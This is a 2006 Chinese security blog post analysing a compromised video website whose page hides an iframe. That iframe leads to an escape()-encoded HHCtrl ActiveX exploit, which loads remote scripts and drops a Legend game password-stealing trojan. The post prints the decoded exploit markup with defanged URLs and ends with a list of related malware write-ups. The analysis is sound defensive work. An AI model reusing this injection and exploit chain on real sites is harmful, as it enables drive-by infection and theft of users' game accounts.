[2006-04-12]一个下载传奇盗号木马的网站(第2版)

endurer　原创

2006-04-12　第2版　补充：kaspersky的回复
2006-04-11　第1版

网页：

hxxp://www.****44mtv.com/vod/index1.htm

中被加入

＜iframe src="hxxp://www.****26cd.com/test/index.htm" height="0" width="0" MARGINWIDTH="0" MARGINHEIGHT="0" HSPACE="0" VSPACE="0" FRAMEBORDER="0" SCROLLING="no"＞＜/iframe＞

hxxp://www.****26cd.com/test/index.htm部分代码使用了escape()编码，unescape()后的内容为：

＜SCRIPT＞var Words="＜SCRIPT language=VScript src="bbs003302.gif"＞＜/SCRIPT＞＜SCRIPT language=VScript src="bbs003302.css"＞＜/SCRIPT＞＜HTML＞＜BODY＞＜div style="display:none"＞＜OBJECT id="cctv" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"＞＜PARAM name="Command" value="Related Topics, MENU"＞＜PARAM name="Window" value="$global_ifl"＞＜PARAM name="Item1" value='command;file://C:/WINDOWS/Help/apps.chm'＞＜/OBJECT＞＜OBJECT id="zgds" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"＞＜PARAM name="Command" value="Related Topics, MENU"＞＜PARAM name="Window" value="$global_ifl"＞＜PARAM name="Item1" value='command;javascript:eval("document.write(/"＜SCRIPT language=JScript src=///"hxxp://www.****26cd.com/test/bbs003302.gif///"/"+String.fromCharCode(62)+/"＜/SCR/"+/"IPT/"+String.fromCharCode(62))")'＞＜/OBJECT＞＜/div＞＜SCRIPT＞cctv.Click();setTimeout("zgds.Click();",0);＜/SCRIPT＞＜/BODY＞＜/HTML＞
";document.write(unescape(Words))＜/SCRIPT＞

下载2个文件：

1、bbs003302.css

Kaspersky报为Trojan-PSW.Win32.Lmir.atj

2、bbs003302.gif

瑞星报为Exploit.HHCtrl.Jiaozhu

Kaspersky报为exploit.VBS.Phel.m

[2006-04-12]一个下载传奇盗号木马的网站(第2版)相关推荐

一个下载Dropper.Agent.fwm的网站
endurer 原创 2007-01-23 第1版网站首页包含代码: /------- <iframe height="0" width="0" src ...
linux ubuntu桌面下载,LXLE 16.04.3发布下载，基于Lubuntu桌面的Linux发行版
LXLE是一款使用轻量级桌面的Linux发行版,LXLE基于Lubuntu并以LXDE桌面环境为特色.LXLE 16.04.3已经发布下载,开发代号是"Eclectica",与其上 ...
我的世界1.12.2java下载_我的世界：Minecraft Java版 1.12.2-pre1发布
我的世界:Minecraft Java版 1.12.2-pre1发布!Minecraft 1.12.2仍未发布,1.12.2-pre1为其第1个预览版.预发布版是Minecraft的测试机制,如果该版 ...
ChinaJoy揭晓十大网游盗号木马黑榜
7月12日,第5届ChinaJoy游戏展在上海拉开帷幕,为网游爱好者奉献了一场精彩的饕餮大餐.而在网络游戏已经成为一种时尚的今天,网游盗号问题也随之愈演愈烈,屡禁不止.很多游戏玩家也因此蒙受了严重的损 ...
再战Trojan.PSW.Lmir.kuo、Trojan.PSW.Misc.kcc等网游盗号木马(第2版)
endurer 原创 2006-08-13 第2版补充一个漏网的 2006-08-12 第1版今早一上网,就有网友求助.他电脑屏幕右下角的瑞星实时监控小伞图标不见了,手动启动也不行. 通过QQ远程 ...
迅雷漫画下载工具II 故障日志09.04.12
博客上很多的同学都来反映说是程序一打开就自动停止工作,经过分析发现程序出错很有可能发生在自动更新的过程中. 于是趁着返回学校前的十几分钟,决定抓虫试试. 根据网友们的反映,前几天尚未出现故障,说明软件 ...
木马下载器盗号数十种破天木马剑指网游
"木马下载器20480"(Win32.TrojDownloader.wmTable.a.20480),这是一个下载者病毒.此病毒文件为muma.exe的可执行文件,但并不局限于该名 ...
java能盗号吗_CVE-2017-8759漏洞新利用：Java Keylogger盗号木马分析
0×2 木马行为分析 1. 恶意word文档行为分析该恶意word文件中除了一个"链接对象"外,没有其它任何内容.在未修复CVE-2017-8759漏洞的机器上双击打开此word ...
一款魔兽盗号木马分析
这款魔兽盗号木马是模仿"多玩魔兽盒子"欺骗用户从而进行盗号的,请看"多玩魔兽盒子"官方网站:http://wow.duowan.com/wowbox1/, 木马 ...

[2006-04-12]一个下载传奇盗号木马的网站(第2版)

[2006-04-12]一个下载传奇盗号木马的网站(第2版)相关推荐

最新文章

热门文章